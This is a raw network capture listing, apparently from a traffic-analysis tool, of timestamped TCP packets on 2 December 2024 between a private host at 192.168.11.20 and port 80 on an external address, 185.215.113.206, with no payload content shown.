Dec 2, 2024 11:20:42.871788979 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.871797085 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.871797085 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.871912956 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872036934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872070074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872196913 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872246027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872307062 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872313023 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872354984 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872412920 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872476101 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872524977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872558117 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872658968 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872658968 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872756958 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872788906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872883081 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.872992039 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.872992992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873042107 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873055935 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873114109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873147964 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873193979 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873244047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873316050 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873358011 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873425007 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873522997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873526096 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873636007 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873667955 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873677969 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873756886 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873769999 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873769999 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873872995 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.873914957 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.873994112 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874032021 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874051094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874111891 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874147892 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874197960 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874245882 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874248028 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874396086 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874416113 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874494076 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874561071 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874583006 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874618053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874694109 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874777079 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874795914 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874875069 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.874958038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.874993086 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.875030994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.875053883 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.875147104 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.875164986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.875242949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.875247002 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.875329018 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.875422001 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.875452995 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.875463009 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.875595093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.875595093 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.875631094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.875813007 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.879347086 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.879568100 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.879580021 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.879606962 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.879726887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.879726887 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.879852057 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.879894972 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.879925966 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880009890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880009890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880053997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880130053 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880136967 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880274057 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880321026 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880445957 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880484104 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880516052 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880543947 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880573988 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880664110 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880664110 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880712032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880842924 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880858898 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.880883932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.880914927 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881026983 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881026983 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881074905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881139994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881212950 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881212950 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881341934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881347895 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881393909 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881444931 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881504059 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881510973 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881544113 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881552935 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881609917 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881623983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881705999 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881779909 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881795883 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881828070 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.881925106 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.881925106 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.882008076 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.882066011 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.882112980 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.882199049 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.882249117 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.882309914 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.882383108 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.882405996 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.882519007 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.882572889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.882677078 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.965105057 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.965312004 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.965317011 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.965361118 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.965464115 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.965485096 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:42.965512991 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:42.965645075 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.190574884 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.190778017 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.190905094 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191083908 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191104889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191209078 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191226006 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191323042 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191366911 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191409111 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191446066 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191468954 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191534996 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191534996 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191586971 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191683054 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191776037 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191836119 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.191916943 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.191961050 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192059994 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192066908 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192066908 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192126036 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192162991 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192198038 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192261934 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192325115 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192339897 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192375898 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192455053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192498922 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192542076 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192548990 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192591906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192631006 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192764997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.192773104 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.192935944 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.193062067 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193108082 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193280935 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.193339109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193382025 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193454027 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193479061 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.193553925 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193593025 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193598986 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.193635941 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.193773031 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.193846941 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193887949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193924904 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.193995953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194039106 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194066048 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.194148064 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.194154024 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194199085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.194211960 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194284916 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.194303036 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194350958 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194447994 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194525003 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.194673061 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.194761038 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.194799900 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.194972992 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.195025921 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195063114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195167065 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.195167065 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.195276022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195314884 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195349932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195411921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.195411921 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.195532084 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.195692062 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195738077 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195775986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195830107 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.195889950 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.195945978 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.196043968 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198023081 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198167086 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198203087 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198245049 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198412895 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198542118 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198586941 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198625088 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198663950 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198724031 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198736906 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198738098 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198786974 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198791027 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198885918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198937893 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.198945999 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.198988914 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199026108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199089050 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199089050 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199119091 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199183941 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199212074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199315071 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199336052 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199368000 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199385881 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199482918 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199532986 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199601889 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199641943 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199680090 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199734926 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199803114 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199843884 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.199848890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199939013 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.199987888 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.200036049 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.200095892 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.200134039 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.200308084 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.200437069 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.200519085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.200701952 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.201457024 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.201680899 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.201942921 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.201991081 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202112913 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202112913 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202244997 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202290058 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202327013 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202362061 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202378035 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202378988 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202476025 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202522039 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202549934 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202588081 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202689886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202689886 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202786922 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202830076 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.202991962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.202991962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.203131914 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203216076 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203253984 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203289032 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203363895 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.203408957 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203417063 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.203417063 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.203460932 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.203538895 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203584909 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203650951 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.203751087 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.203772068 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203809023 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203845024 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.203955889 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204036951 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204041958 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204087019 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204123020 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204199076 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204301119 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204309940 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204354048 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204533100 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204554081 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204610109 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204648972 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204715014 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204781055 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204807043 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204833031 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.204930067 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.204972029 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.205045938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.205228090 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:43.287504911 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.287678957 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.287689924 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:43.287734032 CET	49748	80	192.168.11.20	185.215.113.206
